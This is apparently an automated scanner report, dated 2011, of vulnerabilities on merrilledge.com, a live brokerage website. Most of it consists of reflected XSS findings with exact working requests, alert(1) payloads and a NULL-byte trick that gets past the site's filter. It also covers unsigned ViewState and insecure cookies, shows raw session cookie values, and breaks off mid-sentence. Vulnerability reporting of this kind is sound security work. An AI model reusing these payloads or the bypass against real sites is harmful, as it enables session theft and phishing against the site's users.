XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, merrilledge.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.merrilledge.com/M/WebResource.axd [d parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.merrilledge.com
Path:	/M/WebResource.axd

Issue detail

The value of the d request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %0011ed5'-alert(1)-'ced209a762a was submitted in the d parameter. This input was echoed as 11ed5'-alert(1)-'ced209a762a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /M/WebResource.axd?d=whzhnKw2EsLp_zO8-lOxmA2%0011ed5'-alert(1)-'ced209a762a&t=634335774686696206 HTTP/1.1
Host: www.merrilledge.com
Proxy-Connection: keep-alive
Referer: http://www.merrilledge.com/m/pages/global-oao.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b; pxv=C22A32BD-4241-4EE4-951A-6B07D6D8E16E

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:28:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 8823

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head id
...[SNIP]...
<script type="text/javascript" language="javascript">gObjMLOSEJsLibrary.writeErrorMessage('cdd93d9b-236f-4d83-88ef-18c94a3729cb', '/m/webresource.axd?d=whzhnkw2eslp_zo8-loxma2%0011ed5'-alert(1)-'ced209a762a&t=634335774686696206', "Invalid viewstate.");</script>
...[SNIP]...

1.2. http://www.merrilledge.com/m/pages/global-oao.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0028c00"><script>alert(1)</script>51f61b3f956 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 28c00"><script>alert(1)</script>51f61b3f956 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /m/pages/global-oao.aspx?%0028c00"><script>alert(1)</script>51f61b3f956=1 HTTP/1.1
Host: www.merrilledge.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b; pxv=C22A32BD-4241-4EE4-951A-6B07D6D8E16E

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:28:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89583

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- start content
...[SNIP]...
<a href="../System/SearchResults.aspx?.28c00"><script>alert(1)</script>51f61b3f956=1&k=" id="ctl00_ECMSSearchTextBox1_srchAnchor1" class="btn" onclick="return objSearchWidgetLibrary.onsearchclick1('ctl00_ECMSSearchTextBox1_srcText','ctl00_ECMSSearchTextBox1_srchAnchor1')">
...[SNIP]...

1.3. https://www.merrilledge.com/M/WebResource.axd [d parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/M/WebResource.axd

Issue detail

The value of the d request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00da6ca'-alert(1)-'2461730ea55 was submitted in the d parameter. This input was echoed as da6ca'-alert(1)-'2461730ea55 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /M/WebResource.axd?d=whzhnKw2EsLp_zO8-lOxmA2%00da6ca'-alert(1)-'2461730ea55&t=634335774460333397 HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
Referer: https://www.merrilledge.com/m/pages/home.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:27:29 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9012

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head id
...[SNIP]...
<script type="text/javascript" language="javascript">gObjMLOSEJsLibrary.writeErrorMessage('7359dd1a-7ee0-4a0b-9a37-57a4db53bd63', '/m/webresource.axd?d=whzhnkw2eslp_zo8-loxma2%00da6ca'-alert(1)-'2461730ea55&t=634335774460333397', "Invalid character in a Base-64 string.");</script>
...[SNIP]...

1.4. https://www.merrilledge.com/m/pages/home.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00dfd72"><script>alert(1)</script>3b54af6fcbc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dfd72"><script>alert(1)</script>3b54af6fcbc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /m/pages/home.aspx?%00dfd72"><script>alert(1)</script>3b54af6fcbc=1 HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:27:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
set-cookie: SMIDENTITY=XCz954I56gOso/MmYDefhHeVxIphfVlz/0uAJoQz2Xkw3Y5z8C0b8R89oFyDrMmDrAP9c1tziVA++dK/37pQlfS9Mc6GTiWNtwFJ0stjRrrdJRSTqyY9aToSVgPQmUL1Z8P7SSO331cHy1K42cghmurI/U3JnKpsz+nYB4HLTC0sSyeEnXI4yS7oceCAVQ0ED2qCQnEioZx9UdH6Sr5WkC1s9rlxAZiyd8I1eZtZg9CiWi9zP7dmxD/8X7xDCf8Pi3y47uO9XfcG2SZdBQmsmhtes9e4g5mLcLJAzIe7teenxJ8kf7nHEDTBNbSZ7BW3kvbHM1vn/ccupJwOUUdRBjqXiVpbmih8QYEJG0dYG9mbn/2wzHdyOZdRErHVMLh2eb1cuQ7bu5p8BcuTOit1ewFNrbZVmmi0NrD3B2gIfHdK565eafGY1Um02KM5oqJsCHQlfsnR7rTSG+3dERZYONhi6bOeuXSWwElFIghWRm4kYrs4TdocArZ5ZPBXgzXp02eg9yUD5y2gta0i0T4b0LEsnIy4OhFbyREKUmJeQ1JjddOso75OTIRVQfOQ5vMFBQWwz7NBUMyugrB8jtfL0BfapDTuCO5bgavcUJ3PGxlJB4xzhN/0H06mzk3tuxnb; path=/; domain=.merrilledge.com
X-AspNet-Version: 2.0.50727
Set-Cookie: pxs=d6abc9104d8440bf81099a8ffa6cf434; domain=.merrilledge.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 107310

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- start content
...[SNIP]...
<a href="../System/SearchResults.aspx?.dfd72"><script>alert(1)</script>3b54af6fcbc=1&k=" id="ctl00_ECMSSearchTextBox1_srchAnchor1" class="btn" onclick="return objSearchWidgetLibrary.onsearchclick1('ctl00_ECMSSearchTextBox1_srcText','ctl00_ECMSSearchTextBox1_srchAnchor1')">
...[SNIP]...

1.5. https://www.merrilledge.com/m/pages/global-oao.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %007eae9"><script>alert(1)</script>d210b1fb8d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7eae9"><script>alert(1)</script>d210b1fb8d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /m/pages/global-oao.aspx?%007eae9"><script>alert(1)</script>d210b1fb8d3=1 HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b; pxv=C22A32BD-4241-4EE4-951A-6B07D6D8E16E

Response

HTTP/1.1 301 Moved Permanently
Date: Tue, 26 Apr 2011 12:28:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: http://www.merrilledge.com/m/pages/global-oao.aspx?%007eae9%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed210b1fb8d3=1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89588

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- start content
...[SNIP]...
<a href="../System/SearchResults.aspx?.7eae9"><script>alert(1)</script>d210b1fb8d3=1&k=" id="ctl00_ECMSSearchTextBox1_srchAnchor1" class="btn" onclick="return objSearchWidgetLibrary.onsearchclick1('ctl00_ECMSSearchTextBox1_srcText','ctl00_ECMSSearchTextBox1_srchAnchor1')">
...[SNIP]...

2. ASP.NET ViewState without MAC enabled previous next
There are 3 instances of this issue:

http://www.merrilledge.com/m/pages/global-oao.aspx
https://www.merrilledge.com/m/pages/global-oao.aspx
https://www.merrilledge.com/m/pages/home.aspx

Issue description

The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.

By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.

You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.

Issue remediation

There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.

2.1. http://www.merrilledge.com/m/pages/global-oao.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Request

GET /m/pages/global-oao.aspx HTTP/1.1
Host: www.merrilledge.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b; pxv=C22A32BD-4241-4EE4-951A-6B07D6D8E16E

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:28:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89473

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- start content
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTYzNTQzMDQ3NWRk" />
...[SNIP]...

2.2. https://www.merrilledge.com/m/pages/global-oao.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/global-oao.aspx

Request

GET /m/pages/global-oao.aspx HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SMIDENTITY=0W34VN9dA9bWGxNH7Zo+wNB4BqhgfwgC/V3SS6QoRVIhpR3iFFqiPEtEy5Vg60B4eA74F0BCLpV6OvE72yrh6+55CW/ai7RnuZGDEpHwvqDe8sRPkCBbEb0l/YGIxk6PrZhVLIoYebn0XY3xMclg+G08+dUO8bhtR0OiIYjoM0++rS7ZOJ/UaaFpw0KtXh6K+2AU8+inyYPyOlBsNy2LbHjpwP50nhqcqqBAIUQ/OhxApBnqmCLnCTSes9vjk4hHDVrhjbXDoPLoISGQqisUzc6TBefD5Q9m4GnifxAiXCyr2xfWKeoDmM//AH+0MV7lybo5N/sihQV4ohsXxYN1J8PCK7RVgHPvhsxGkbmcXf/fRxt0k0zaGW7H8xTY7bFLulvcm1wXA8II0K3qcgsXox5uljKP60/lrQ/iD+Y+VOJAN4phstGAi5uH1rku+/Jz4DeUUSYO3fBMcYMUCguwWF6Tpm5rWb9ogQfkSWUlXd1PKvu/YtQcdoj/0yQueC7l6fbkCSjrjU+TBskdUgQaLWGR6v9BYYwx6I+r6kEdusGSd0Toh8QeOVM8QmpAfl/vpcow5jjnqSi4WCWrtMkZOqeiDWBEhbMZ5EVgOoJJiV0xNFM9qwN4bJ8PgOrbFotT; pxs=53e1d1d2ef5543dabbbb6e0d12a34f8b; pxv=C22A32BD-4241-4EE4-951A-6B07D6D8E16E

Response

HTTP/1.1 301 Moved Permanently
Date: Tue, 26 Apr 2011 12:28:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: http://www.merrilledge.com/m/pages/global-oao.aspx
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 89478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- start content
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTYzNTQzMDQ3NWRk" />
...[SNIP]...

2.3. https://www.merrilledge.com/m/pages/home.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Request

GET /m/pages/home.aspx HTTP/1.1
Host: www.merrilledge.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 12:27:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
set-cookie: SMIDENTITY=jLP3XoAxGsv1v6MwPZhahlP/aoO3xH/srhMcrJj795J+eDNFXiPfjzck1kD4CBi+6ie4KrwamlTHaXTZUdECRzrFky9gNvwqK2gfsTdEDm7sAur5XVP4PPYin3ZpmEGZhp4U9tI/R2PBhf10C0GUszchafmuD9bl4ok1Tou4xpWvp8+gJofMVxln5UHKDCa81PkeNNVr9tnGgUbb8xfUqJ9mQ+4UmQUBAvTOqlILImkN5L5gXWD34cRgwFSZ2KnJ3H2WELiFxhYRFU/W8/5hb7Ab0vdhSiKgU1mzlw6G++AaFuJs+7z65oKRdeBCqK0hIz3tim19s96RERtkf9rfjHj+6RDI79fjrabVGOlnraDPyBxJbqaBTLfWCRw+ylCtGUKvwL6+os3qLez4GsDok2Qd+n4qvsQdjjUilaWTMSP27nak6lbRwCk4b/M4No0d4wzcrSvMyENoATzMp8aftIfSjmRgRvGUNASAKrTSpR5rfw6e36o6v3gAJa9Ivvp8bVC7cNorr2VzTikkqJI1i1lWvbV9SNzGVXk61fudxdZpjJjPAMIp9cah6rKP6ckESa6k8l1TR7oiXNRlH9EEi7eiYAWvwxgHlp0pcxiP0RMD9/1rRGHkXk3lzz8V7861; path=/; domain=.merrilledge.com
X-AspNet-Version: 2.0.50727
Set-Cookie: pxs=341ce30bc7594740a1c8d88f714e0605; domain=.merrilledge.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 107200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- start content
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTU5ODkwMTk0M2Rk" />
...[SNIP]...

3. SSL cookie without secure flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merrilledge.com
Path:	/m/pages/home.aspx

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

